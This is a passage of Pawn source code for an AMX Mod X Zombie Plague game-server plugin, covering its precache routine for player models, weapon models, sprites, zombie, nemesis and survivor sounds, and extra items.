	if( contain( szMapName, "zs_deadend_b2" ) != -1 ) Map_ZP_Oberon_Boss = 1
	else Map_ZP_Oberon_Boss = 0

	if( contain( szMapName, "zp_oberon_construction" ) != -1 ) Map_ZP_Oberon_Boss_2 = 1
	else Map_ZP_Oberon_Boss_2 = 0

	if( contain( szMapName, "zs_decoy" ) != -1 ) Map_ZP_zs_decoy = 1
	else Map_ZP_zs_decoy = 0

	g_iExplo = precache_model( "sprites/zerogxplode.spr" );
	m_iExplo1 = precache_model( "sprites/black_smoke3.spr" );
	
	precache_generic( "sprites/knife_hammer_bos93.txt" );
	precache_generic( "sprites/knife_axe_bos93.txt" );
	precache_generic( "sprites/knife_combat_bos93.txt" );
	precache_generic( "sprites/knife_strongknife_bos93.txt" );
	precache_generic( "sprites/weapon_fgr2_bos93.txt" );
	precache_generic( "sprites/weapon_m24gr_bos93.txt" );
	precache_generic( "sprites/bos93_cso/640hud21.spr" );
	precache_generic( "sprites/bos93_cso/640hud47.spr" );
	precache_generic( "sprites/bos93_cso/640hud21.spr" );
	precache_generic( "sprites/bos93_cso/640hud47.spr" );
	precache_generic( "sprites/bos93_cso/640hud36.spr" );
	precache_generic( "sprites/bos93_cso/640hud28.spr" );
	precache_generic( "sprites/bos93_cso/640hud32.spr" );
	precache_generic( "sprites/bos93_cso/640hud25.spr" );
	precache_generic( "sprites/bos93_cso/640hud39.spr" );

	register_clcmd("knife_hammer_bos93", "Hook_hammer_SelectWeapon")
	register_clcmd("knife_axe_bos93", "Hook_hammer_SelectWeapon")
	register_clcmd("knife_combat_bos93", "Hook_hammer_SelectWeapon")
	register_clcmd("knife_strongknife_bos93", "Hook_hammer_SelectWeapon")
	register_clcmd("weapon_fgr2_bos93", "Hook_flash_SelectWeapon")
	


	model_human_s = ArrayCreate(32, 1)
	model_human 				= ArrayCreate(32, 1)
	model_nemesis 				= ArrayCreate(32, 1)
	model_survivor 				= ArrayCreate(32, 1)
	model_admin_human 			= ArrayCreate(32, 1)
	model_admin_zombie 			= ArrayCreate(32, 1)
	g_modelindex_human 			= ArrayCreate(1, 1)
	g_modelindex_nemesis 		= ArrayCreate(1, 1)
	g_modelindex_survivor 		= ArrayCreate(1, 1)
	g_modelindex_admin_human 	= ArrayCreate(1, 1)
	g_modelindex_admin_zombie 	= ArrayCreate(1, 1)
	sound_win_zombies 			= ArrayCreate(64, 1)
	sound_win_humans 			= ArrayCreate(64, 1)
	sound_win_no_one 			= ArrayCreate(64, 1)

	human_dpe 					= ArrayCreate(6, 1)
	human_miss_slash 			= ArrayCreate(6, 1)
	human_miss_wall 			= ArrayCreate(6, 1)
	human_hit_normal 			= ArrayCreate(6, 1)
	human_hit_stab 				= ArrayCreate(6, 1)
	////////////////////////////////////////////////////////////////////
	zombie_infect_c 			= ArrayCreate(64, 1)
	zombie_infect_adv 			= ArrayCreate(64, 1)
	zombie_pain_c 				= ArrayCreate(64, 1)
	zombie_die_c 				= ArrayCreate(64, 1)
	zombie_fall_c 				= ArrayCreate(64, 1)
	zombie_miss_slash_c 		= ArrayCreate(64, 1)
	zombie_miss_wall_c 			= ArrayCreate(64, 1)
	zombie_hit_normal_c 		= ArrayCreate(64, 1)
	zombie_hit_stab_c 			= ArrayCreate(64, 1)
	zombie_idle_c 				= ArrayCreate(64, 1)
	zombie_idle_last_c 			= ArrayCreate(64, 1)
	zombie_madness_c 			= ArrayCreate(64, 1)

	zombie_infect 				= ArrayCreate(64, 1)
	zombie_pain 				= ArrayCreate(64, 1)
	zombie_die 					= ArrayCreate(64, 1)
	zombie_fall 				= ArrayCreate(64, 1)
	zombie_miss_slash 			= ArrayCreate(64, 1)
	zombie_miss_wall 			= ArrayCreate(64, 1)
	zombie_hit_normal 			= ArrayCreate(64, 1)
	zombie_hit_stab 			= ArrayCreate(64, 1)
	zombie_idle 				= ArrayCreate(64, 1)
	zombie_idle_last 			= ArrayCreate(64, 1)
	zombie_madness 				= ArrayCreate(64, 1)

	nemesis_win 				= ArrayCreate(64, 1)
	nemesis_loose 				= ArrayCreate(64, 1)
	nemesis_pain 				= ArrayCreate(64, 1)
	nemesis_die 				= ArrayCreate(64, 1)
	nemesis_fall 				= ArrayCreate(64, 1)
	nemesis_miss_slash 			= ArrayCreate(64, 1)
	nemesis_miss_wall 			= ArrayCreate(64, 1)
	nemesis_hit_normal 			= ArrayCreate(64, 1)
	nemesis_hit_stab 			= ArrayCreate(64, 1)
	nemesis_idle 				= ArrayCreate(64, 1)
	nemesis_idle_last 			= ArrayCreate(64, 1)
	nemesis_gren_fire 			= ArrayCreate(64, 1)

	survivor_pain 				= ArrayCreate(64, 1)
	survivor_die 				= ArrayCreate(64, 1)

	grenade_fire_player 		= ArrayCreate(64, 1)
	grenade_fire_player_c 		= ArrayCreate(64, 1)
	////////////////////////////////////////////////////////////////////
	sound_nemesis 				= ArrayCreate(64, 1)
	sound_survivor 				= ArrayCreate(64, 1)
	sound_swarm 				= ArrayCreate(64, 1)
	sound_multi 				= ArrayCreate(64, 1)
	sound_plague 				= ArrayCreate(64, 1)
	grenade_infect 				= ArrayCreate(64, 1)
	grenade_infect_player 		= ArrayCreate(64, 1)
	grenade_fire 				= ArrayCreate(64, 1)
	grenade_frost 				= ArrayCreate(64, 1)
	grenade_frost_player 		= ArrayCreate(64, 1)
	grenade_frost_break 		= ArrayCreate(64, 1)
	grenade_flare 				= ArrayCreate(64, 1)
	sound_antidote 				= ArrayCreate(64, 1)
	sound_thunder 				= ArrayCreate(64, 1)
	sound_ambience1 			= ArrayCreate(64, 1)
	sound_ambience2 			= ArrayCreate(64, 1)
	sound_ambience3 			= ArrayCreate(64, 1)
	sound_ambience4 			= ArrayCreate(64, 1)
	sound_ambience5 			= ArrayCreate(64, 1)
	sound_ambience1_duration 	= ArrayCreate(1, 1)
	sound_ambience2_duration 	= ArrayCreate(1, 1)
	sound_ambience3_duration 	= ArrayCreate(1, 1)
	sound_ambience4_duration 	= ArrayCreate(1, 1)
	sound_ambience5_duration 	= ArrayCreate(1, 1)
	sound_ambience1_ismp3 		= ArrayCreate(1, 1)
	sound_ambience2_ismp3 		= ArrayCreate(1, 1)
	sound_ambience3_ismp3 		= ArrayCreate(1, 1)
	sound_ambience4_ismp3 		= ArrayCreate(1, 1)
	sound_ambience5_ismp3 		= ArrayCreate(1, 1)
	g_primary_items 			= ArrayCreate(32, 1)
	g_secondary_items 			= ArrayCreate(32, 1)
	g_additional_items 			= ArrayCreate(32, 1)
	g_primary_weaponids 		= ArrayCreate(1, 1)
	g_secondary_weaponids 		= ArrayCreate(1, 1)
	g_extraweapon_names 		= ArrayCreate(32, 1)
	g_extraweapon_items 		= ArrayCreate(32, 1)
	g_extraweapon_costs 		= ArrayCreate(1, 1)
	g_sky_names 				= ArrayCreate(32, 1)
	lights_thunder 				= ArrayCreate(32, 1)
	zombie_decals 				= ArrayCreate(1, 1)
	g_objective_ents 			= ArrayCreate(32, 1)
	g_extraitem_name 			= ArrayCreate(32, 1)
	g_extraitem_cost 			= ArrayCreate(1, 1)
	g_extraitem_team 			= ArrayCreate(1, 1)
	g_extraitem2_realname 		= ArrayCreate(32, 1)
	g_extraitem2_name 			= ArrayCreate(32, 1)
	g_extraitem2_cost 			= ArrayCreate(1, 1)
	g_extraitem2_team 			= ArrayCreate(1, 1)
	g_extraitem_new 			= ArrayCreate(1, 1)
	g_zclass_name 				= ArrayCreate(32, 1)
	g_zclass_info 				= ArrayCreate(32, 1)
	g_zclass_modelsstart 		= ArrayCreate(1, 1)
	g_zclass_modelsend 			= ArrayCreate(1, 1)
	g_zclass_playermodel 		= ArrayCreate(32, 1)
	g_zclass_modelindex 		= ArrayCreate(1, 1)
	g_zclass_clawmodel 			= ArrayCreate(32, 1)
	g_zclass_bombmodel 			= ArrayCreate(32, 1)
	g_zclass_hp 				= ArrayCreate(1, 1)
	g_zclass_spd 				= ArrayCreate(1, 1)
	g_zclass_grav 				= ArrayCreate(1, 1)
	g_zclass_kb 				= ArrayCreate(1, 1)
	g_zclass_vip = 			ArrayCreate(1, 1)
	g_zclass2_realname 			= ArrayCreate(32, 1)
	g_zclass2_name 				= ArrayCreate(32, 1)
	g_zclass2_info 				= ArrayCreate(32, 1)
	g_zclass2_modelsstart 		= ArrayCreate(1, 1)
	g_zclass2_modelsend 		= ArrayCreate(1, 1)
	g_zclass2_playermodel 		= ArrayCreate(32, 1)
	g_zclass2_modelindex 		= ArrayCreate(1, 1)
	g_zclass2_clawmodel 		= ArrayCreate(32, 1)
	g_zclass2_bombmodel 		= ArrayCreate(32, 1)
	g_zclass2_hp 				= ArrayCreate(1, 1)
	g_zclass2_spd 				= ArrayCreate(1, 1)
	g_zclass2_grav 				= ArrayCreate(1, 1)
	g_zclass2_kb 				= ArrayCreate(1, 1)
	g_zclass_new 				= ArrayCreate(1, 1)

	for(new j = 0; j < 6; j++)
	{
		ArrayPushCell(human_dpe, ArrayCreate(64, 1));
		ArrayPushCell(human_miss_slash, ArrayCreate(64, 1));
		ArrayPushCell(human_miss_wall, ArrayCreate(64, 1));
		ArrayPushCell(human_hit_normal, ArrayCreate(64, 1));
		ArrayPushCell(human_hit_stab, ArrayCreate(64, 1));
	}

	g_arrays_created = true;
	load_customization_from_files();

	new i, buffer[100];

	native_register_extra_item2("NightVision", g_extra_costs2[EXTRA_NVISION], ZP_TEAM_HUMAN)
	native_register_extra_item2("T-Virus Antidote", g_extra_costs2[EXTRA_ANTIDOTE], ZP_TEAM_ZOMBIE)
	native_register_extra_item2("Zombie Madness", g_extra_costs2[EXTRA_MADNESS], ZP_TEAM_ZOMBIE)
	native_register_extra_item2("Infection Bomb", g_extra_costs2[EXTRA_INFBOMB], ZP_TEAM_ZOMBIE)

	for (i = 0; i < ArraySize(g_extraweapon_names); i++)
	{
		new item_id;
		ArrayGetString(g_extraweapon_names, i, buffer, charsmax(buffer))
		item_id = native_register_extra_item2(buffer, ArrayGetCell(g_extraweapon_costs, i), ZP_TEAM_HUMAN);
		
		if(equal(buffer, "ML_BY_CHAIN"))
			chain_id = item_id;
	}

	for (i = 0; i < ArraySize(model_human); i++)
	{
		ArrayGetString(model_human, i, buffer, charsmax(buffer))
		format(buffer, charsmax(buffer), "models/player/%s/%s.mdl", buffer, buffer)
		ArrayPushCell(g_modelindex_human, engfunc(EngFunc_PrecacheModel, buffer))
		if (g_force_consistency == 1) force_unmodified(force_model_samebounds, {0,0,0}, {0,0,0}, buffer)
		if (g_force_consistency == 2) force_unmodified(force_exactfile, {0,0,0}, {0,0,0}, buffer)
	}
	for (i = 0; i < ArraySize(model_human_s); i++)
	{
		ArrayGetString(model_human_s, i, buffer, charsmax(buffer))
		format(buffer, charsmax(buffer), "models/player/%s/%s.mdl", buffer, buffer)
		ArrayPushCell(g_modelindex_human, engfunc(EngFunc_PrecacheModel, buffer))
		if (g_force_consistency == 1) force_unmodified(force_model_samebounds, {0,0,0}, {0,0,0}, buffer)
		if (g_force_consistency == 2) force_unmodified(force_exactfile, {0,0,0}, {0,0,0}, buffer)
	}
	for (i = 0; i < ArraySize(model_nemesis); i++)
	{
		ArrayGetString(model_nemesis, i, buffer, charsmax(buffer))
		format(buffer, charsmax(buffer), "models/player/%s/%s.mdl", buffer, buffer)
		ArrayPushCell(g_modelindex_nemesis, engfunc(EngFunc_PrecacheModel, buffer))
		if (g_force_consistency == 1) force_unmodified(force_model_samebounds, {0,0,0}, {0,0,0}, buffer)
		if (g_force_consistency == 2) force_unmodified(force_exactfile, {0,0,0}, {0,0,0}, buffer)
	}
	for (i = 0; i < ArraySize(model_survivor); i++)
	{
		ArrayGetString(model_survivor, i, buffer, charsmax(buffer))
		format(buffer, charsmax(buffer), "models/player/%s/%s.mdl", buffer, buffer)
		ArrayPushCell(g_modelindex_survivor, engfunc(EngFunc_PrecacheModel, buffer))
		if (g_force_consistency == 1) force_unmodified(force_model_samebounds, {0,0,0}, {0,0,0}, buffer)
		if (g_force_consistency == 2) force_unmodified(force_exactfile, {0,0,0}, {0,0,0}, buffer)
	}
	for (i = 0; i < ArraySize(model_admin_zombie); i++)
	{
		ArrayGetString(model_admin_zombie, i, buffer, charsmax(buffer))
		format(buffer, charsmax(buffer), "models/player/%s/%s.mdl", buffer, buffer)
		ArrayPushCell(g_modelindex_admin_zombie, engfunc(EngFunc_PrecacheModel, buffer))
		if (g_force_consistency == 1) force_unmodified(force_model_samebounds, {0,0,0}, {0,0,0}, buffer)
		if (g_force_consistency == 2) force_unmodified(force_exactfile, {0,0,0}, {0,0,0}, buffer)
	}
	for (i = 0; i < ArraySize(model_admin_human); i++)
	{
		ArrayGetString(model_admin_human, i, buffer, charsmax(buffer))
		format(buffer, charsmax(buffer), "models/player/%s/%s.mdl", buffer, buffer)
		ArrayPushCell(g_modelindex_admin_human, engfunc(EngFunc_PrecacheModel, buffer))
		if (g_force_consistency == 1) force_unmodified(force_model_samebounds, {0,0,0}, {0,0,0}, buffer)
		if (g_force_consistency == 2) force_unmodified(force_exactfile, {0,0,0}, {0,0,0}, buffer)
	}
	
	// Custom weapon models
	engfunc(EngFunc_PrecacheModel, model_vknife_axe)
	engfunc(EngFunc_PrecacheModel, model_pknife_axe)
	
	engfunc(EngFunc_PrecacheModel, model_vknife_strong)
	engfunc(EngFunc_PrecacheModel, model_pknife_strong)
	
	engfunc(EngFunc_PrecacheModel, model_vknife_combat)
	engfunc(EngFunc_PrecacheModel, model_pknife_combat)
	
	engfunc(EngFunc_PrecacheModel, model_vknife_hammer)
	engfunc(EngFunc_PrecacheModel, model_pknife_hammer)
	
	engfunc(EngFunc_PrecacheModel, model_pknife_surv)
	engfunc(EngFunc_PrecacheModel, model_vknife_surv)
	
	engfunc(EngFunc_PrecacheModel, model_vknife_chainsaw)
	engfunc(EngFunc_PrecacheModel, model_pknife_chainsaw)
	engfunc(EngFunc_PrecacheModel, model_wknife_chainsaw)
	//////////////////////////////////////////////////////////
	engfunc(EngFunc_PrecacheModel, model_vknife_nemesis)
	engfunc(EngFunc_PrecacheModel, model_vweapon_survivor)
	engfunc(EngFunc_PrecacheModel, model_grenade_infect)
	engfunc(EngFunc_PrecacheModel, model_grenade_fire)
	engfunc(EngFunc_PrecacheModel, model_grenade_firee)
	engfunc(EngFunc_PrecacheModel, w_bomb_infect)
	engfunc(EngFunc_PrecacheModel, w_model_frost)
	engfunc(EngFunc_PrecacheModel, model_grenade_fireee)
	engfunc(EngFunc_PrecacheModel, model_grenade_frostt)
	engfunc(EngFunc_PrecacheModel, model_grenade_frost)
	engfunc(EngFunc_PrecacheModel, model_grenade_flare)
	engfunc(EngFunc_PrecacheModel, model_grenade_flaree)
	engfunc(EngFunc_PrecacheModel, model_vknife_admin_zombie)
	engfunc(EngFunc_PrecacheModel, asdasdasdd)
	engfunc(EngFunc_PrecacheModel, p_model_grenade_infect)
	engfunc(EngFunc_PrecacheModel, w_model_grenade_infect)

	// Custom sprites for grenades
	g_trailSpr = engfunc(EngFunc_PrecacheModel, sprite_grenade_trail)
	g_exploSpr = engfunc(EngFunc_PrecacheModel, sprite_grenade_ring)
	g_flameSpr = engfunc(EngFunc_PrecacheModel, sprite_grenade_fire)
	g_smokeSpr = engfunc(EngFunc_PrecacheModel, sprite_grenade_smoke)
	g_glassSpr = engfunc(EngFunc_PrecacheModel, sprite_grenade_glass)
	
	// Custom sounds
	for (new j = 0; j < cur; j++)
	{
		for (i = 0; i < ArraySize(Array:ArrayGetCell(zombie_infect_c, j)); i++)
		{
			ArrayGetString(Array:ArrayGetCell(zombie_infect_c, j), i, buffer, charsmax(buffer))
			engfunc(EngFunc_PrecacheSound, buffer)
		}
		for (i = 0; i < ArraySize(Array:ArrayGetCell(zombie_infect_adv, j)); i++)
		{
			ArrayGetString(Array:ArrayGetCell(zombie_infect_adv, j), i, buffer, charsmax(buffer))
			engfunc(EngFunc_PrecacheSound, buffer)
		}
		for (i = 0; i < ArraySize(Array:ArrayGetCell(zombie_pain_c, j)); i++)
		{
			ArrayGetString(Array:ArrayGetCell(zombie_pain_c, j), i, buffer, charsmax(buffer))
			engfunc(EngFunc_PrecacheSound, buffer)
		}
		for (i = 0; i < ArraySize(Array:ArrayGetCell(zombie_die_c, j)); i++)
		{
			ArrayGetString(Array:ArrayGetCell(zombie_die_c, j), i, buffer, charsmax(buffer))
			engfunc(EngFunc_PrecacheSound, buffer)
		}
		for (i = 0; i < ArraySize(Array:ArrayGetCell(zombie_fall_c, j)); i++)
		{
			ArrayGetString(Array:ArrayGetCell(zombie_fall_c, j), i, buffer, charsmax(buffer))
			engfunc(EngFunc_PrecacheSound, buffer)
		}
		for (i = 0; i < ArraySize(Array:ArrayGetCell(zombie_miss_slash_c, j)); i++)
		{
			ArrayGetString(Array:ArrayGetCell(zombie_miss_slash_c, j), i, buffer, charsmax(buffer))
			engfunc(EngFunc_PrecacheSound, buffer)
		}
		for (i = 0; i < ArraySize(Array:ArrayGetCell(zombie_miss_wall_c, j)); i++)
		{
			ArrayGetString(Array:ArrayGetCell(zombie_miss_wall_c, j), i, buffer, charsmax(buffer))
			engfunc(EngFunc_PrecacheSound, buffer)
		}
		for (i = 0; i < ArraySize(Array:ArrayGetCell(zombie_hit_normal_c, j)); i++)
		{
			ArrayGetString(Array:ArrayGetCell(zombie_hit_normal_c, j), i, buffer, charsmax(buffer))
			engfunc(EngFunc_PrecacheSound, buffer)
		}
		for (i = 0; i < ArraySize(Array:ArrayGetCell(zombie_hit_stab_c, j)); i++)
		{
			ArrayGetString(Array:ArrayGetCell(zombie_hit_stab_c, j), i, buffer, charsmax(buffer))
			engfunc(EngFunc_PrecacheSound, buffer)
		}
		for (i = 0; i < ArraySize(Array:ArrayGetCell(zombie_idle_c, j)); i++)
		{
			ArrayGetString(Array:ArrayGetCell(zombie_idle_c, j), i, buffer, charsmax(buffer))
			engfunc(EngFunc_PrecacheSound, buffer)
		}
		for (i = 0; i < ArraySize(Array:ArrayGetCell(zombie_idle_last_c, j)); i++)
		{
			ArrayGetString(Array:ArrayGetCell(zombie_idle_last_c, j), i, buffer, charsmax(buffer))
			engfunc(EngFunc_PrecacheSound, buffer)
		}
		for (i = 0; i < ArraySize(Array:ArrayGetCell(zombie_madness_c, j)); i++)
		{
			ArrayGetString(Array:ArrayGetCell(zombie_madness_c, j), i, buffer, charsmax(buffer))
			engfunc(EngFunc_PrecacheSound, buffer)
		}
		for (i = 0; i < ArraySize(Array:ArrayGetCell(grenade_fire_player_c, j)); i++)
		{
			ArrayGetString(Array:ArrayGetCell(grenade_fire_player_c, j), i, buffer, charsmax(buffer))
			engfunc(EngFunc_PrecacheSound, buffer)
		}
	}
	//////////////////////////////////////////////////////////////////////////////{
	for (i = 0; i < ArraySize(zombie_infect); i++)
	{
		ArrayGetString(zombie_infect, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(zombie_pain); i++)
	{
		ArrayGetString(zombie_pain, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(zombie_die); i++)
	{
		ArrayGetString(zombie_die, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(zombie_fall); i++)
	{
		ArrayGetString(zombie_fall, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(zombie_miss_slash); i++)
	{
		ArrayGetString(zombie_miss_slash, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(zombie_miss_wall); i++)
	{
		ArrayGetString(zombie_miss_wall, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(zombie_hit_normal); i++)
	{
		ArrayGetString(zombie_hit_normal, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(zombie_hit_stab); i++)
	{
		ArrayGetString(zombie_hit_stab, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(zombie_idle); i++)
	{
		ArrayGetString(zombie_idle, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(zombie_idle_last); i++)
	{
		ArrayGetString(zombie_idle_last, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(zombie_madness); i++)
	{
		ArrayGetString(zombie_madness, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	//////////////////////////////////////////////////////////////////////////////
	for (i = 0; i < ArraySize(nemesis_win); i++)
	{
		ArrayGetString(nemesis_win, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(nemesis_loose); i++)
	{
		ArrayGetString(nemesis_loose, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(nemesis_pain); i++)
	{
		ArrayGetString(nemesis_pain, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(nemesis_die); i++)
	{
		ArrayGetString(nemesis_die, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(nemesis_fall); i++)
	{
		ArrayGetString(nemesis_fall, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(nemesis_miss_slash); i++)
	{
		ArrayGetString(nemesis_miss_slash, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(nemesis_miss_wall); i++)
	{
		ArrayGetString(nemesis_miss_wall, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(nemesis_hit_normal); i++)
	{
		ArrayGetString(nemesis_hit_normal, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(nemesis_hit_stab); i++)
	{
		ArrayGetString(nemesis_hit_stab, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(nemesis_idle); i++)
	{
		ArrayGetString(nemesis_idle, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(nemesis_idle_last); i++)
	{
		ArrayGetString(nemesis_idle_last, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(nemesis_gren_fire); i++)
	{
		ArrayGetString(nemesis_gren_fire, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	//////////////////////////////////////////////////////////////////////////////
	for (i = 0; i < ArraySize(grenade_fire_player); i++)
	{
		ArrayGetString(grenade_fire_player, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(survivor_pain); i++)
	{
		ArrayGetString(survivor_pain, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(survivor_die); i++)
	{
		ArrayGetString(survivor_die, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	//////////////////////////////////////////////////////////////////////////////}
	for (i = 0; i < ArraySize(sound_win_zombies); i++)
	{
		ArrayGetString(sound_win_zombies, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(sound_win_humans); i++)
	{
		ArrayGetString(sound_win_humans, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(sound_win_no_one); i++)
	{
		ArrayGetString(sound_win_no_one, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(nemesis_pain); i++)
	{
		ArrayGetString(nemesis_pain, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for(new j = 0; j < 6; j++)
	{
		for (i = 0; i < ArraySize(Array:ArrayGetCell(human_dpe, j)); i++)
		{
			ArrayGetString(Array:ArrayGetCell(human_dpe, j), i, buffer, charsmax(buffer))
			engfunc(EngFunc_PrecacheSound, buffer)
		}
		for (i = 0; i < ArraySize(Array:ArrayGetCell(human_miss_slash, j)); i++)
		{
			ArrayGetString(Array:ArrayGetCell(human_miss_slash, j), i, buffer, charsmax(buffer))
			engfunc(EngFunc_PrecacheSound, buffer)
		}
		for (i = 0; i < ArraySize(Array:ArrayGetCell(human_hit_stab, j)); i++)
		{
			ArrayGetString(Array:ArrayGetCell(human_hit_stab, j), i, buffer, charsmax(buffer))
			engfunc(EngFunc_PrecacheSound, buffer)
		}
		for (i = 0; i < ArraySize(Array:ArrayGetCell(human_hit_normal, j)); i++)
		{
			ArrayGetString(Array:ArrayGetCell(human_hit_normal, j), i, buffer, charsmax(buffer))
			engfunc(EngFunc_PrecacheSound, buffer)
		}
		for (i = 0; i < ArraySize(Array:ArrayGetCell(human_miss_wall, j)); i++)
		{
			ArrayGetString(Array:ArrayGetCell(human_miss_wall, j), i, buffer, charsmax(buffer))
			engfunc(EngFunc_PrecacheSound, buffer)
		}
	}
	for (i = 0; i < ArraySize(sound_nemesis); i++)
	{
		ArrayGetString(sound_nemesis, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(sound_survivor); i++)
	{
		ArrayGetString(sound_survivor, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(sound_swarm); i++)
	{
		ArrayGetString(sound_swarm, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(sound_multi); i++)
	{
		ArrayGetString(sound_multi, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(sound_plague); i++)
	{
		ArrayGetString(sound_plague, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(grenade_infect); i++)
	{
		ArrayGetString(grenade_infect, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(grenade_infect_player); i++)
	{
		ArrayGetString(grenade_infect_player, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(grenade_fire); i++)
	{
		ArrayGetString(grenade_fire, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(grenade_frost); i++)
	{
		ArrayGetString(grenade_frost, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(grenade_frost_player); i++)
	{
		ArrayGetString(grenade_frost_player, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(grenade_frost_break); i++)
	{
		ArrayGetString(grenade_frost_break, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(grenade_flare); i++)
	{
		ArrayGetString(grenade_flare, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(sound_antidote); i++)
	{
		ArrayGetString(sound_antidote, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	for (i = 0; i < ArraySize(sound_thunder); i++)
	{
		ArrayGetString(sound_thunder, i, buffer, charsmax(buffer))
		engfunc(EngFunc_PrecacheSound, buffer)
	}
	
	// Ambience Sounds
	if (g_ambience_sounds[AMBIENCE_SOUNDS_INFECTION])
	{
		for (i = 0; i < ArraySize(sound_ambience1); i++)
		{
			ArrayGetString(sound_ambience1, i, buffer, charsmax(buffer))
			
			if (ArrayGetCell(sound_ambience1_ismp3, i))
			{
				format(buffer, charsmax(buffer), "sound/%s", buffer)
				engfunc(EngFunc_PrecacheGeneric, buffer)
			}
			else
			{
				engfunc(EngFunc_PrecacheSound, buffer)
			}
		}
	}
	if (g_ambience_sounds[AMBIENCE_SOUNDS_NEMESIS])
	{
		for (i = 0; i < ArraySize(sound_ambience2); i++)
		{
			ArrayGetString(sound_ambience2, i, buffer, charsmax(buffer))
			
			if (ArrayGetCell(sound_ambience2_ismp3, i))
			{
				format(buffer, charsmax(buffer), "sound/%s", buffer)
				engfunc(EngFunc_PrecacheGeneric, buffer)
			}
			else
			{
				engfunc(EngFunc_PrecacheSound, buffer)
			}
		}
	}
	if (g_ambience_sounds[AMBIENCE_SOUNDS_SURVIVOR])
	{
		for (i = 0; i < ArraySize(sound_ambience3); i++)
		{
			ArrayGetString(sound_ambience3, i, buffer, charsmax(buffer))
			
			if (ArrayGetCell(sound_ambience3_ismp3, i))
			{
				format(buffer, charsmax(buffer), "sound/%s", buffer)
				engfunc(EngFunc_PrecacheGeneric, buffer)
			}
			else
			{
				engfunc(EngFunc_PrecacheSound, buffer)
			}
		}
	}
	if (g_ambience_sounds[AMBIENCE_SOUNDS_SWARM])
	{
		for (i = 0; i < ArraySize(sound_ambience4); i++)
		{
			ArrayGetString(sound_ambience4, i, buffer, charsmax(buffer))
			
